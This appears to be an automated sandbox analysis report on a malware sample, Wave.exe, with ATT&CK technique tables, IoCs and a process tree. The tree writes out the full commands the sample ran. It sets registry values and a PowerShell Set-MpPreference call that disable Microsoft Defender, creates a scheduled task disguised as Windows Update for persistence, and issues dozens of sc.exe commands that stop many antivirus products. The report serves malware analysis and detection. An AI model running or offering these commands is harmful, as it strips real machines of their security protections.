38e7094b2ab812e6cac75aec24e0a72299e23f5fd890395ba606a3a77e9c0841

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	shell_helper.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 9 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableAntiVirus = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\TamperProtection = "0"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableAntiSpyware = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	shell_helper.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4140	powershell.exe
4684	powershell.exe
4672	powershell.exe
5216	powershell.exe
5880	powershell.exe
4936	powershell.exe
2232	powershell.exe
2744	powershell.exe
5380	powershell.exe
4940	powershell.exe
5940	powershell.exe
4564	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

Disable or Modify Tools

pid	Process
4936	powershell.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 5 IoCs

pid	Process
2560	WindowsUpdateService.exe
4316	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
2716	WindowsUpdateService.exe
4472	shell_helper.exe

Loads dropped DLL 64 IoCs

pid	Process
4156	Wave.exe
4156	Wave.exe
4156	Wave.exe
4156	Wave.exe
4156	Wave.exe
4156	Wave.exe
4156	Wave.exe
4156	Wave.exe
4156	Wave.exe
4156	Wave.exe
4156	Wave.exe
4156	Wave.exe
4156	Wave.exe
4156	Wave.exe
4156	Wave.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
2716	WindowsUpdateService.exe
2716	WindowsUpdateService.exe
2716	WindowsUpdateService.exe
2716	WindowsUpdateService.exe
2716	WindowsUpdateService.exe
2716	WindowsUpdateService.exe
2716	WindowsUpdateService.exe
2716	WindowsUpdateService.exe
2716	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
2716	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
2716	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
2716	WindowsUpdateService.exe
2716	WindowsUpdateService.exe
2716	WindowsUpdateService.exe
2716	WindowsUpdateService.exe
2716	WindowsUpdateService.exe
2716	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
3868	WindowsUpdateService.exe
2716	WindowsUpdateService.exe
2716	WindowsUpdateService.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Windows security modification 2 TTPs 1 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	shell_helper.exe

Indicator Removal: Clear Persistence 1 TTPs 4 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

Clear Persistence

T1070.009

pid	Process
5856	cmd.exe
5516	cmd.exe
1460	cmd.exe
3920	cmd.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

Ignore Process Interrupts

T1564.011

pid	Process
5804	powershell.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
464	sc.exe
5012	sc.exe
5888	sc.exe
4604	sc.exe
912	sc.exe
3932	sc.exe
5996	sc.exe
6068	sc.exe
4980	sc.exe
5644	sc.exe
1848	sc.exe
1180	sc.exe
3484	sc.exe
4920	sc.exe
300	sc.exe
3364	sc.exe
4760	sc.exe
2836	sc.exe
1552	sc.exe
3144	sc.exe
2020	sc.exe
2592	sc.exe
4940	sc.exe
616	sc.exe
3056	sc.exe
4572	sc.exe
3752	sc.exe
1688	sc.exe
3092	sc.exe
6128	sc.exe
5856	sc.exe
5864	sc.exe
6048	sc.exe
5912	sc.exe
4064	sc.exe
5600	sc.exe
5232	sc.exe
468	sc.exe
124	sc.exe
4708	sc.exe
4172	sc.exe
4116	sc.exe
3420	sc.exe
1464	sc.exe
248	sc.exe
3200	sc.exe
696	sc.exe
4108	sc.exe
4508	sc.exe
4364	sc.exe
1452	sc.exe
1316	sc.exe
1148	sc.exe
3908	sc.exe
428	sc.exe
1124	sc.exe
3600	sc.exe
4744	sc.exe
4168	sc.exe
5456	sc.exe
1436	sc.exe
3312	sc.exe
5720	sc.exe
5524	sc.exe

Kills process with taskkill 20 IoCs

pid	Process
4136	taskkill.exe
3052	taskkill.exe
5844	taskkill.exe
5932	taskkill.exe
2224	taskkill.exe
3684	taskkill.exe
4196	taskkill.exe
6068	taskkill.exe
3448	taskkill.exe
3296	taskkill.exe
2628	taskkill.exe
912	taskkill.exe
2940	taskkill.exe
4252	taskkill.exe
5632	taskkill.exe
2792	taskkill.exe
5976	taskkill.exe
5172	taskkill.exe
3408	taskkill.exe
5260	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3536	schtasks.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
5804	powershell.exe
5804	powershell.exe
4156	Wave.exe
4156	Wave.exe
4936	powershell.exe
4936	powershell.exe
4936	powershell.exe
2232	powershell.exe
2232	powershell.exe
2232	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5804	powershell.exe
Token: SeIncreaseQuotaPrivilege	5804	powershell.exe
Token: SeSecurityPrivilege	5804	powershell.exe
Token: SeTakeOwnershipPrivilege	5804	powershell.exe
Token: SeLoadDriverPrivilege	5804	powershell.exe
Token: SeSystemProfilePrivilege	5804	powershell.exe
Token: SeSystemtimePrivilege	5804	powershell.exe
Token: SeProfSingleProcessPrivilege	5804	powershell.exe
Token: SeIncBasePriorityPrivilege	5804	powershell.exe
Token: SeCreatePagefilePrivilege	5804	powershell.exe
Token: SeBackupPrivilege	5804	powershell.exe
Token: SeRestorePrivilege	5804	powershell.exe
Token: SeShutdownPrivilege	5804	powershell.exe
Token: SeDebugPrivilege	5804	powershell.exe
Token: SeSystemEnvironmentPrivilege	5804	powershell.exe
Token: SeRemoteShutdownPrivilege	5804	powershell.exe
Token: SeUndockPrivilege	5804	powershell.exe
Token: SeManageVolumePrivilege	5804	powershell.exe
Token: 33	5804	powershell.exe
Token: 34	5804	powershell.exe
Token: 35	5804	powershell.exe
Token: 36	5804	powershell.exe
Token: SeDebugPrivilege	4156	Wave.exe
Token: SeDebugPrivilege	3868	WindowsUpdateService.exe
Token: SeDebugPrivilege	2716	WindowsUpdateService.exe
Token: SeDebugPrivilege	4936	powershell.exe
Token: SeDebugPrivilege	5976	taskkill.exe
Token: SeDebugPrivilege	5932	taskkill.exe
Token: SeDebugPrivilege	2792	taskkill.exe
Token: SeDebugPrivilege	2224	taskkill.exe
Token: SeDebugPrivilege	3684	taskkill.exe
Token: SeDebugPrivilege	5172	taskkill.exe
Token: SeDebugPrivilege	3408	taskkill.exe
Token: SeDebugPrivilege	4196	taskkill.exe
Token: SeDebugPrivilege	6068	taskkill.exe
Token: SeDebugPrivilege	912	taskkill.exe
Token: SeDebugPrivilege	2940	taskkill.exe
Token: SeDebugPrivilege	3448	taskkill.exe
Token: SeDebugPrivilege	5260	taskkill.exe
Token: SeDebugPrivilege	4136	taskkill.exe
Token: SeDebugPrivilege	4252	taskkill.exe
Token: SeDebugPrivilege	3296	taskkill.exe
Token: SeDebugPrivilege	2628	taskkill.exe
Token: SeDebugPrivilege	3052	taskkill.exe
Token: SeDebugPrivilege	5844	taskkill.exe
Token: SeDebugPrivilege	5632	taskkill.exe
Token: SeDebugPrivilege	2232	powershell.exe
Token: SeIncreaseQuotaPrivilege	2232	powershell.exe
Token: SeSecurityPrivilege	2232	powershell.exe
Token: SeTakeOwnershipPrivilege	2232	powershell.exe
Token: SeLoadDriverPrivilege	2232	powershell.exe
Token: SeSystemProfilePrivilege	2232	powershell.exe
Token: SeSystemtimePrivilege	2232	powershell.exe
Token: SeProfSingleProcessPrivilege	2232	powershell.exe
Token: SeIncBasePriorityPrivilege	2232	powershell.exe
Token: SeCreatePagefilePrivilege	2232	powershell.exe
Token: SeBackupPrivilege	2232	powershell.exe
Token: SeRestorePrivilege	2232	powershell.exe
Token: SeShutdownPrivilege	2232	powershell.exe
Token: SeDebugPrivilege	2232	powershell.exe
Token: SeSystemEnvironmentPrivilege	2232	powershell.exe
Token: SeRemoteShutdownPrivilege	2232	powershell.exe
Token: SeUndockPrivilege	2232	powershell.exe
Token: SeManageVolumePrivilege	2232	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1188 wrote to memory of 4156	1188	Wave.exe	89
PID 4156 wrote to memory of 5804	4156	Wave.exe	90
PID 4156 wrote to memory of 3536	4156	Wave.exe	93
PID 4156 wrote to memory of 4316	4156	Wave.exe	97
PID 4316 wrote to memory of 3868	4316	WindowsUpdateService.exe	98
PID 2560 wrote to memory of 2716	2560	WindowsUpdateService.exe	99
PID 2716 wrote to memory of 4472	2716	WindowsUpdateService.exe	102
PID 4472 wrote to memory of 4936	4472	shell_helper.exe	104
PID 4472 wrote to memory of 4980	4472	shell_helper.exe	106
PID 4472 wrote to memory of 5644	4472	shell_helper.exe	108
PID 4472 wrote to memory of 1124	4472	shell_helper.exe	110
PID 4472 wrote to memory of 4760	4472	shell_helper.exe	112
PID 4472 wrote to memory of 5856	4472	shell_helper.exe	114
PID 4472 wrote to memory of 3056	4472	shell_helper.exe	116
PID 4472 wrote to memory of 236	4472	shell_helper.exe	118
PID 4472 wrote to memory of 432	4472	shell_helper.exe	120
PID 4472 wrote to memory of 4064	4472	shell_helper.exe	122
PID 4472 wrote to memory of 6012	4472	shell_helper.exe	124
PID 4472 wrote to memory of 1848	4472	shell_helper.exe	126
PID 4472 wrote to memory of 4108	4472	shell_helper.exe	128
PID 4472 wrote to memory of 4708	4472	shell_helper.exe	130
PID 4472 wrote to memory of 2944	4472	shell_helper.exe	132
PID 4472 wrote to memory of 3312	4472	shell_helper.exe	134
PID 4472 wrote to memory of 5572	4472	shell_helper.exe	136
PID 4472 wrote to memory of 4572	4472	shell_helper.exe	138
PID 4472 wrote to memory of 2836	4472	shell_helper.exe	140
PID 4472 wrote to memory of 2380	4472	shell_helper.exe	142
PID 4472 wrote to memory of 1948	4472	shell_helper.exe	144
PID 4472 wrote to memory of 3536	4472	shell_helper.exe	146
PID 4472 wrote to memory of 1552	4472	shell_helper.exe	148
PID 4472 wrote to memory of 1180	4472	shell_helper.exe	150
PID 4472 wrote to memory of 4268	4472	shell_helper.exe	152
PID 4472 wrote to memory of 1800	4472	shell_helper.exe	154
PID 4472 wrote to memory of 1404	4472	shell_helper.exe	156
PID 4472 wrote to memory of 4172	4472	shell_helper.exe	158
PID 4472 wrote to memory of 4116	4472	shell_helper.exe	160
PID 4472 wrote to memory of 3420	4472	shell_helper.exe	162
PID 4472 wrote to memory of 2024	4472	shell_helper.exe	164
PID 4472 wrote to memory of 4508	4472	shell_helper.exe	166
PID 4472 wrote to memory of 3932	4472	shell_helper.exe	168
PID 4472 wrote to memory of 3752	4472	shell_helper.exe	170
PID 4472 wrote to memory of 1464	4472	shell_helper.exe	172
PID 4472 wrote to memory of 3484	4472	shell_helper.exe	174
PID 4472 wrote to memory of 5136	4472	shell_helper.exe	176
PID 4472 wrote to memory of 5200	4472	shell_helper.exe	178
PID 4472 wrote to memory of 464	4472	shell_helper.exe	180
PID 4472 wrote to memory of 4840	4472	shell_helper.exe	182
PID 4472 wrote to memory of 1688	4472	shell_helper.exe	184
PID 4472 wrote to memory of 5012	4472	shell_helper.exe	186
PID 4472 wrote to memory of 4920	4472	shell_helper.exe	188
PID 4472 wrote to memory of 2128	4472	shell_helper.exe	190
PID 4472 wrote to memory of 4364	4472	shell_helper.exe	192
PID 4472 wrote to memory of 3600	4472	shell_helper.exe	194
PID 4472 wrote to memory of 248	4472	shell_helper.exe	196
PID 4472 wrote to memory of 3200	4472	shell_helper.exe	198
PID 4472 wrote to memory of 3092	4472	shell_helper.exe	200
PID 4472 wrote to memory of 1452	4472	shell_helper.exe	202
PID 4472 wrote to memory of 5600	4472	shell_helper.exe	204
PID 4472 wrote to memory of 300	4472	shell_helper.exe	206
PID 4472 wrote to memory of 696	4472	shell_helper.exe	208
PID 4472 wrote to memory of 5864	4472	shell_helper.exe	210
PID 4472 wrote to memory of 4132	4472	shell_helper.exe	212
PID 4472 wrote to memory of 5484	4472	shell_helper.exe	214
PID 4472 wrote to memory of 2788	4472	shell_helper.exe	216

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Wave.exe
"C:\Users\Admin\AppData\Local\Temp\Wave.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1188
- C:\Users\Admin\AppData\Local\Temp\Wave.exe
  "C:\Users\Admin\AppData\Local\Temp\Wave.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4156
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "try { $m = Get-MpComputerStatus -ErrorAction SilentlyContinue; if ($null -eq $m) { 'UNKNOWN'; exit } if ($m.RealTimeProtectionEnabled) { 'ENABLED' } else { 'DISABLED' } } catch { 'UNKNOWN' }"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5804
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn "Microsoft\Windows\WindowsUpdate\WindowsUpdateCacheRefresh" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3536
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
    C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4316
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
      C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of AdjustPrivilegeToken
      PID:3868

C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2560
- C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
  C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Users\Admin\AppData\Local\Temp\_MEI25602\app\shell_helper.exe
    C:\Users\Admin\AppData\Local\Temp\_MEI25602\app\shell_helper.exe disable_av
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    - Modifies Windows Defender Real-time Protection settings
    - Executes dropped EXE
    - Windows security modification
    - Suspicious use of WriteProcessMemory
    PID:4472
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableOnAccessProtection $true -DisableScanOnRealtimeEnable $true -DisableIOAVProtection $true -DisablePrivacyMode $true -MAPSReporting 0 -SubmitSamplesConsent 2"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4936
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:4980
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop WinDefend
      4⤵
      Launches sc.exe
      PID:5644
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config WdNisSvc start= disabled
      4⤵
      Launches sc.exe
      PID:1124
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop WdNisSvc
      4⤵
      Launches sc.exe
      PID:4760
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config Sense start= disabled
      4⤵
      Launches sc.exe
      PID:5856
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "avast! Antivirus" start= disabled
      4⤵
      Launches sc.exe
      PID:3056
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "avast! Antivirus"
      4⤵
      PID:236
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Avast Antivirus" start= disabled
      4⤵
      PID:432
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Avast Antivirus"
      4⤵
      Launches sc.exe
      PID:4064
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "avast! Firewall" start= disabled
      4⤵
      PID:6012
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "avast! Firewall"
      4⤵
      Launches sc.exe
      PID:1848
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "aswSP" start= disabled
      4⤵
      Launches sc.exe
      PID:4108
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "aswSP"
      4⤵
      Launches sc.exe
      PID:4708
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "aswNetSec" start= disabled
      4⤵
      PID:2944
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "aswNetSec"
      4⤵
      Launches sc.exe
      PID:3312
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Norton Security" start= disabled
      4⤵
      PID:5572
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Norton Security"
      4⤵
      Launches sc.exe
      PID:4572
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Norton 360" start= disabled
      4⤵
      Launches sc.exe
      PID:2836
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Norton 360"
      4⤵
      PID:2380
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Symantec Antivirus" start= disabled
      4⤵
      PID:1948
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Symantec Antivirus"
      4⤵
      PID:3536
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Norton Internet Security" start= disabled
      4⤵
      Launches sc.exe
      PID:1552
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Norton Internet Security"
      4⤵
      Launches sc.exe
      PID:1180
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "ccSetMgr" start= disabled
      4⤵
      PID:4268
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "ccSetMgr"
      4⤵
      PID:1800
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "ccEvtMgr" start= disabled
      4⤵
      PID:1404
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "ccEvtMgr"
      4⤵
      Launches sc.exe
      PID:4172
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "NIS" start= disabled
      4⤵
      Launches sc.exe
      PID:4116
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "NIS"
      4⤵
      Launches sc.exe
      PID:3420
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "NAV" start= disabled
      4⤵
      PID:2024
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "NAV"
      4⤵
      Launches sc.exe
      PID:4508
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "McAfee Firewall" start= disabled
      4⤵
      Launches sc.exe
      PID:3932
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "McAfee Firewall"
      4⤵
      Launches sc.exe
      PID:3752
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "McAfee WebAdvisor" start= disabled
      4⤵
      Launches sc.exe
      PID:1464
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "McAfee WebAdvisor"
      4⤵
      Launches sc.exe
      PID:3484
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "McAfee VirusScan" start= disabled
      4⤵
      PID:5136
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "McAfee VirusScan"
      4⤵
      PID:5200
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "McAfee Framework" start= disabled
      4⤵
      Launches sc.exe
      PID:464
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "McAfee Framework"
      4⤵
      PID:4840
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "McAfee McShield" start= disabled
      4⤵
      Launches sc.exe
      PID:1688
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "McAfee McShield"
      4⤵
      Launches sc.exe
      PID:5012
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "McAfee SiteAdvisor" start= disabled
      4⤵
      Launches sc.exe
      PID:4920
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "McAfee SiteAdvisor"
      4⤵
      PID:2128
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Kaspersky Security" start= disabled
      4⤵
      Launches sc.exe
      PID:4364
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Kaspersky Security"
      4⤵
      Launches sc.exe
      PID:3600
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Kaspersky Anti-Virus" start= disabled
      4⤵
      Launches sc.exe
      PID:248
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Kaspersky Anti-Virus"
      4⤵
      Launches sc.exe
      PID:3200
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "kavfs" start= disabled
      4⤵
      Launches sc.exe
      PID:3092
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "kavfs"
      4⤵
      Launches sc.exe
      PID:1452
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "kavfswp" start= disabled
      4⤵
      Launches sc.exe
      PID:5600
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "kavfswp"
      4⤵
      Launches sc.exe
      PID:300
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Bitdefender" start= disabled
      4⤵
      Launches sc.exe
      PID:696
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Bitdefender"
      4⤵
      Launches sc.exe
      PID:5864
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Bitdefender Antivirus" start= disabled
      4⤵
      PID:4132
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Bitdefender Antivirus"
      4⤵
      PID:5484
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Bitdefender Security" start= disabled
      4⤵
      PID:2788
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Bitdefender Security"
      4⤵
      Launches sc.exe
      PID:5720
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "ESET Security" start= disabled
      4⤵
      PID:836
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "ESET Security"
      4⤵
      Launches sc.exe
      PID:5888
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "ESET Service" start= disabled
      4⤵
      Launches sc.exe
      PID:3364
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "ESET Service"
      4⤵
      PID:1984
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "ekrn" start= disabled
      4⤵
      PID:3120
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "ekrn"
      4⤵
      PID:3304
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "eamonm" start= disabled
      4⤵
      PID:4516
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "eamonm"
      4⤵
      Launches sc.exe
      PID:1316
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Malwarebytes Service" start= disabled
      4⤵
      Launches sc.exe
      PID:4744
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Malwarebytes Service"
      4⤵
      Launches sc.exe
      PID:3144
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "MBAMService" start= disabled
      4⤵
      Launches sc.exe
      PID:5232
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "MBAMService"
      4⤵
      Launches sc.exe
      PID:468
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Malwarebytes" start= disabled
      4⤵
      Launches sc.exe
      PID:1148
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Malwarebytes"
      4⤵
      Launches sc.exe
      PID:4604
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Trend Micro" start= disabled
      4⤵
      Launches sc.exe
      PID:3908
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Trend Micro"
      4⤵
      Launches sc.exe
      PID:2020
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "tmccsf" start= disabled
      4⤵
      PID:2976
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "tmccsf"
      4⤵
      PID:5480
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "TmPfw" start= disabled
      4⤵
      Launches sc.exe
      PID:4168
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "TmPfw"
      4⤵
      Launches sc.exe
      PID:428
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "OfficeScanNT" start= disabled
      4⤵
      PID:1888
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "OfficeScanNT"
      4⤵
      Launches sc.exe
      PID:2592
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "AVG Antivirus" start= disabled
      4⤵
      Launches sc.exe
      PID:5524
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "AVG Antivirus"
      4⤵
      PID:2484
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "AVG Security" start= disabled
      4⤵
      Launches sc.exe
      PID:4940
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "AVG Security"
      4⤵
      PID:1428
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "360TotalSecurity" start= disabled
      4⤵
      PID:1588
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "360TotalSecurity"
      4⤵
      Launches sc.exe
      PID:616
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "360Safe" start= disabled
      4⤵
      Launches sc.exe
      PID:5456
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "360Safe"
      4⤵
      Launches sc.exe
      PID:5996
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "WebrootSecureAnywhere" start= disabled
      4⤵
      PID:5736
